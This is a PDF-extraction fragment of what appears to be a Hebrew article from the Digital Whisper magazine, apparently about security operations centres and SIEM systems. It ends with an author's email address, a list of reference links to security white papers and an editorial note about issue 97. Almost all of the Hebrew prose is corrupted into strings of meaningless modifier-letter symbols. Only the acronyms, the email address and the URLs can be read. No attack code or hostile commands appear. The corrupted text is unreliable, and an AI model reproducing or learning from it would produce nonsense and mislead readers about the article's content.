˦ˣ˦˧˴ ˭˪ˢ˪ˣ ,˶ˬ˞ˬˢ ˸˪˧˥˸˟ ˧˸˟˸˩˷ ˫˧˦˲˷ˬˢ ˡ˥˞˪  ˫˧ˮˣˠ˶˞ " :ˣˮˬˬ ˫˧˶ˬ˧˧˸ˬ˷ ˫˧˪ˣˡˠ˩ ˫˧ˮ˦˵

˪˰ ˭ˠˢ˪  ˫˧˵ˢ˪ ˫˧˟˧ˣ˥ˬ ,˫˸ˣ˧˶˥˞˟ ˰ˡ˧ˬˢ ˪˰ˣ ˫ˢ˧˯˩ˮSOC "-  ˭ˣˠ˶˞ ˪˩ ˸ˣ˟ˣ˶˵ˢ ˫˧ˮ˷˟˷ ˢ˲ˣ˴ ˧ˮ˞

˷ ˫˧˟˶ˢ ˸ˣˮˣ˶˸˧ˢˣ ˫˧ˬ˧˧˵ˢ ˫˧ˬˣ˧˞ˢ ˶ˣ˞˪ ˶ˣ˦˧ˮ ˤ˩˶ˬ ˫˧˵˧ ˞ˣˢ ˶˷˞˟- SOC  .˸˸˪ ˪ˣ˩˧ 

ˢ ˫˧˞˷ˣˮˢ ˪˷ ˫˵ˬˣ˰˪ ˡ˶˧ ˞˪ ˶ˬ˞ˬˢ˷ ˣ˸˪˧˥˸˟ ˧˸ˮ˧˧˴ˣ ,˨˩˪ ˰ˡˣˬ ˧ˮ˞˸ˣ˥˲ ˞˪ ˫˧˶ˠ˸˞ˬˣ ˫˧ˮ˧˧ˮ˰ˬ ˫ˢ˷ ˫˧˧ˮ˩˦,  ˠ˧˴˧ ˞˪˞

ˢ ˫˪ˣ˰ ˸˞ ˢˢˣ˟ˠ ˢˠ˶ˡˬˬ-SIEM SOC ˫˧ˮ˷ˢ ˫˰ ˥˸˲˸ˬˢ. 

 

˶˟˥ˬˢ ˪˰ 

˶˧ˬ˞ ˪˰˟ ˰˵˶ ˧˞˟˴  ˪ˣˢ˧ˮ˟SOCˣ ,˩ ˷ˬ˷ˬ ˫ˣ˧ˢ˪ˢˮˬ SOC ˧˸˪˷ˬˬ ˡ˶˷ˬ˟.  ˪˧˧ˬ˟ ˭˧ˬˤ ˢ˪˞˷ ˪˩˪

:˞˟ˢ 

amirdey0@gmail.com 

 

 

˸ˣ˶ˣ˵ˬ ˰ˡ˧ˬ 

¶ https://www.recordedfuture.com/siem-threat-intelligence-part-1/  

¶ https://www.sans.org/reading-room/whitepapers/analyst/building-world-class-security-operations-

center-roadmap-35907  

¶ https://theiia.org.il/articles/%D7%91%D7%99%D7%9F-%D7%90%D7%91%D7%98%D7%97%D7%AA-

%D7%9E%D7%99%D7%93%D7%A2-%D7%9C%D7%A1%D7%99%D7%99%D7%91%D7%A8-

%D7%AA%D7%A4%D7%A7%D7%99%D7%93%D7%95-%D7%A9%D7%9C-

%D7%94%D7%9E%D7%91%D7%A7%D7%A8-%D7%94/  

¶ https://www.slideshare.net/pathinishanth/siem-architecture  

¶ https://www.lockheedmartin.com/content/dam/lockheed-martin/rms/documents/cyber/LM-White-

Paper-Intel-Driven-Defense.pdf  

¶ https://teneceblog.wordpress.com/2016/02/02/effective-security-information-and-event-

management  

  

mailto:amirdey0@gmail.com
https://www.recordedfuture.com/siem-threat-intelligence-part-1/
https://www.sans.org/reading-room/whitepapers/analyst/building-world-class-security-operations-center-roadmap-35907
https://www.sans.org/reading-room/whitepapers/analyst/building-world-class-security-operations-center-roadmap-35907
https://theiia.org.il/articles/%D7%91%D7%99%D7%9F-%D7%90%D7%91%D7%98%D7%97%D7%AA-%D7%9E%D7%99%D7%93%D7%A2-%D7%9C%D7%A1%D7%99%D7%99%D7%91%D7%A8-%D7%AA%D7%A4%D7%A7%D7%99%D7%93%D7%95-%D7%A9%D7%9C-%D7%94%D7%9E%D7%91%D7%A7%D7%A8-%D7%94/
https://theiia.org.il/articles/%D7%91%D7%99%D7%9F-%D7%90%D7%91%D7%98%D7%97%D7%AA-%D7%9E%D7%99%D7%93%D7%A2-%D7%9C%D7%A1%D7%99%D7%99%D7%91%D7%A8-%D7%AA%D7%A4%D7%A7%D7%99%D7%93%D7%95-%D7%A9%D7%9C-%D7%94%D7%9E%D7%91%D7%A7%D7%A8-%D7%94/
https://theiia.org.il/articles/%D7%91%D7%99%D7%9F-%D7%90%D7%91%D7%98%D7%97%D7%AA-%D7%9E%D7%99%D7%93%D7%A2-%D7%9C%D7%A1%D7%99%D7%99%D7%91%D7%A8-%D7%AA%D7%A4%D7%A7%D7%99%D7%93%D7%95-%D7%A9%D7%9C-%D7%94%D7%9E%D7%91%D7%A7%D7%A8-%D7%94/
https://theiia.org.il/articles/%D7%91%D7%99%D7%9F-%D7%90%D7%91%D7%98%D7%97%D7%AA-%D7%9E%D7%99%D7%93%D7%A2-%D7%9C%D7%A1%D7%99%D7%99%D7%91%D7%A8-%D7%AA%D7%A4%D7%A7%D7%99%D7%93%D7%95-%D7%A9%D7%9C-%D7%94%D7%9E%D7%91%D7%A7%D7%A8-%D7%94/
https://www.slideshare.net/pathinishanth/siem-architecture
https://www.lockheedmartin.com/content/dam/lockheed-martin/rms/documents/cyber/LM-White-Paper-Intel-Driven-Defense.pdf
https://www.lockheedmartin.com/content/dam/lockheed-martin/rms/documents/cyber/LM-White-Paper-Intel-Driven-Defense.pdf
https://teneceblog.wordpress.com/2016/02/02/effective-security-information-and-event-management
https://teneceblog.wordpress.com/2016/02/02/effective-security-information-and-event-management
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˫ˣ˩˧˯ ˧˶˟ˡ 
 

ˢ ˭ˣ˧˪ˠˢ ˸˞ ˫˧˶ˠˣ˯ ˣˮ˥ˮ˞ ˸˞ˤ˟-97  ˪˷Digital Whisper ˧˩ˢˣ ˭ˣ˧˪ˠˢˬ ˫˸ˮˢˮ ˧˩ ˫˧ˣˣ˵ˬ ˡˣ˞ˬ ˣˮ˞ ,

˟ˣ˷˥-  ˢ˷˵ ˢˡˣ˟˰ ,˸ˣ˧˸˶˧˴˧ ,ˢ˟˷˥ˬ ˢ˟˶ˢ ˣ˰˵˷ˣˢ ˫˰˲ˢ ˫ˠ ,˫˧ˬˡˣ˵ˢ ˸ˣˮˣ˧˪ˠ˟ ˣˬ˩ .ˣˮˬˬ ˫˸ˡˬ˪

 .˭ˣ˧˪ˠˢ ˸˞ ˫˩˪ ˞˧˟ˢ˪ ˧ˡ˩ ˸ˣˡˣ˟˞ ˢˮ˧˷ ˸ˣ˰˷ˣ 

˫˞ .˫˧˞˟ˢ ˸ˣˮˣ˧˪ˠ˪ ˫ˣ˶˸˪ˣ ˶ˣˤ˰˪ ˫˧ˮ˧˧ˮˣ˰ˬˢ ˫˧˷ˮ˞ˣ ˫˧˩˶ˣ˰ ,˫˧˶˧˧˞ˬ ,˫˧˟˸˩ ˫˧˷˲˥ˬ ˣˮ˥ˮ˞ 
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